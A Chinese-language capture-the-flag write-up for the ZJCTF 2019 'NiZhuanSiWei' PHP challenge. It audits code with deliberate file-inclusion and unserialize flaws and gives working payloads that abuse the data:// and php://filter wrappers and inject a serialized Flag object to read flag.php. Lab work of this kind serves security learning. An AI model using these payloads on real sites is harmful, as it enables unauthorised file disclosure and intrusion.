[ZJCTF 2019]NiZhuanSiWei1

提示

  1. php伪协议的使用
  2. 了解反序列化中的魔法函数

这里先来对首页的php代码审计

  1. 首先是三个可传入的参数
  2. 判断是否传入了text参数,  并打开此参数传入的文件要绝对等于welcome to the zjctf       (这里可以用php伪协议中的data://text/plain)
  3. 判断file中是否有flag,  没有才会到下一步
  4. 包含了useless.php
  5. 对password进行序列化解码然后输出

这里应该着重去看包含的文件uselect.php,  

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

useless.php的代码怎么找

  1. 直接通过网站提示的github源码去看

  2. 通过php伪协议找

1. 直接通过网站提示的github源码去看

这里有提示源代码,  这里取下载看看(打开github有时候需要挂vpn)

2. 通过php伪协议找

这里也可以通过php伪协议读取

payload:  ?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

这里查看源代码将所有base64编码解码就行

uselect.php

  1. 这里可以看到这里又给了个file变量,  所以前面的get传参file就是个幌子,  可以不填
  2. __tostring是魔法函数,  在当对象被当成字符串引用时会调用

到这里我们的思路就完整了

首先通过text传入data数据,  然后传入file=useless.php将useless.php包含进来,  通过password传入反序列化,  因为存在echo $password这里就会调用__tostring函数,  然后再通过__tostring中的file_get_contents来打开flag.php这题就算完成啦

第一步

payload:  text=data://text/plain,welcome to the zjctf

第二步

payload:  text=data://text/plain,welcome to the zjctf&file=useless.php  (包含uselect.php)

因为这里我们需要使用这个页面里的file函数来打开flag.php,  所以给file赋值

$this->file大概意思就是这个类里的file变量  (可以这样理解1->2的意思就是,  1号队伍里的2,  this的意思就是表示这个类的意思)

payload:  

text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

此时查看源代码就能找到flag

切记不要直接复制payload做,  一步一步自己来才有用,  不然浪费时间

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

怪兽不会rap_哥哥我会crash

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值